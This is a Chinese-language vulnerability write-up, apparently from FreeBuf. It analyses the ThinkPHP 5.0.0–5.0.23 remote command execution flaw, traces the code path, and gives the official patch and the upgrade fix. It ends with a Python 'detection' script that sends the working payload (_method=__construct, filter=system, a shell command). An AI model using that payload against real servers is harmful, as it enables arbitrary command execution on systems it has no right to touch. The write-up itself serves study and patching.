當前位置:
首頁 > 新聞 > ThinkPHP 5.0命令執行漏洞分析及復現

ThinkPHP 5.0命令執行漏洞分析及復現

ThinkPHP 5.0 版本是一個顛覆和重構版本,也是ThinkPHP 十周年獻禮版本,基於 PHP5.4 設計(完美支持 PHP7 ),採用全新的架構思想,引入了很多的 PHP 新特性,優化了核心,減少了依賴,支持Composer ,實現了真正的惰性載入,並且為 API 開發做了深入的支持,在功能、性能以及靈活性方面都較為突出 。


漏洞描述


ThinkPHP5.0在核心代碼中實現了表單請求類型偽裝的功能,該功能利用$_POST["_method"]變數來傳遞真實的請求方法,當攻擊者設置$_POST["_method"]=__construct時,Request類的method方法便會將該類的變數進行覆蓋,攻擊者利用該方式將filter變數覆蓋為system等函數名,當內部進行參數過濾時便會進行執行任意命令。


影響範圍

ThinkPHP 5.0.0 ~ ThinkPHP 5.0.23


什麼是表單請求類型偽裝

<form method="post" action="">    <input type="text" name="name" value="Hello">    <input type="hidden" name="_method" value="PUT" >    <input type="submit" value="提交"></form>

如上表單,可以在POST表單裡面提交_method變數,傳入需要偽裝的請求類型 ,該請求從客戶端看來是POST請求,而伺服器會將該請求識別PUT請求並進行處理,其中變數_method可以在applicationconfig.php文件中進行修改。

// 表單請求類型偽裝變數"var_method"             => "_method",

該特性的作用:



安全防護 ,隱藏自己真實請求信息;


整合現有應用系統 ,例如現有的應用系統A的介面只接受put請求,而你的應用系統B只能發起post請求。


漏洞復現


環境

OS        : windows7Webserver : phpstudy  (apache + php5.6.27)thinkphp  : 5.0.20

條件

// 開啟thinkphp的調試模式, 文件applicationconfig.php// 應用調試模式"app_debug"              => true,

操作

cd D:phpStudyWWWgit clone https://github.com/top-think/think tp5git checkout v5.0.22cd tp5git clone https://github.com/top-think/framework thinkphpgit checkout v5.0.22

開啟thinkphp的debug模式

// 開啟thinkphp的調試模式, 文件applicationconfig.php// 應用調試模式"app_debug"              => true,

開啟apache,發送payload:



漏洞分析


利用xdebug+phpstorm進行調試,配置方式請大家自行搜索。


thinkphp採用filter對請求參數進行過濾,默認的filter在config.php中為空字元串,thinkphp首先會設置默認的過濾函數:



filter被設置為空字元串,繼續跟蹤在路由檢查內部會對Request類的filter變數進行覆蓋,跟進routeCheck函數。


再上圖中調用$requesr->method()關鍵方法,跟進:



可以發現該函數會獲取用戶傳入的_method=__construct變數,並調用__construct方法,跟進:



filter變數被設置成system,繼續:



當debug模式開啟時,會記錄請求信息,會調用$request->param()方法,跟進:



如上,根據filter變數設置過濾器,跟進:


過濾器變成了數組["system"],跟進array_walk_recursive函數:



該函數內會對參數進行過濾,調用了call_user_func("system", "dir"),完成了命令執行,結果如下:



接下來,thinkphp在執行模塊的過程中還會再一次設置默認filter,使得filter="",但是不會再次覆蓋filter為system,所以接下來的一次過濾並沒有能夠再次執行命令。



整個執行流程如下 :


官方補丁


官方補丁中限制了_method可疑設置的請求方法,並在處理_method之後將其unset,無法再利用__construct進行變數覆蓋。


漏洞修復


升級到5.0.24及以上,不用開啟debug模式。


檢測腳本

# coding=utf-8import requestsdef check(ip, port, timeout=3):    url = "http://{ip}:{port}/tp5/public/index.php".format(ip=ip, port=port)    # url = "http://{ip}:{port}/index.php".format(ip=ip, port=port)    data = {        "_method":"__construct",        "filter":"system",        "a":"echo abcd",    }    headers = {        "content-type" : "application/x-www-form-urlencoded",        "user-agent" : "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",        "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"    }    resp = requests.post(url, data=data, headers=headers, timeout=timeout)    if resp.content.find("abcd") != -1:        return "thinkphp5.0 命令執行:" + urlif __name__ == "__main__":    print check("127.0.0.1", "80")

總結


該漏洞主要是:



表單請求類型偽裝 + filter參數 = 覆蓋變數filter;


變數覆蓋filter + debug模式 + 執行filter = 命令執行。


*本文作者:小紈絝,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

思路決定成敗:F12給了我黑色的眼睛我卻用它來挖洞
TorPCAP:Tor網路取證分析技術

TAG:FreeBuf |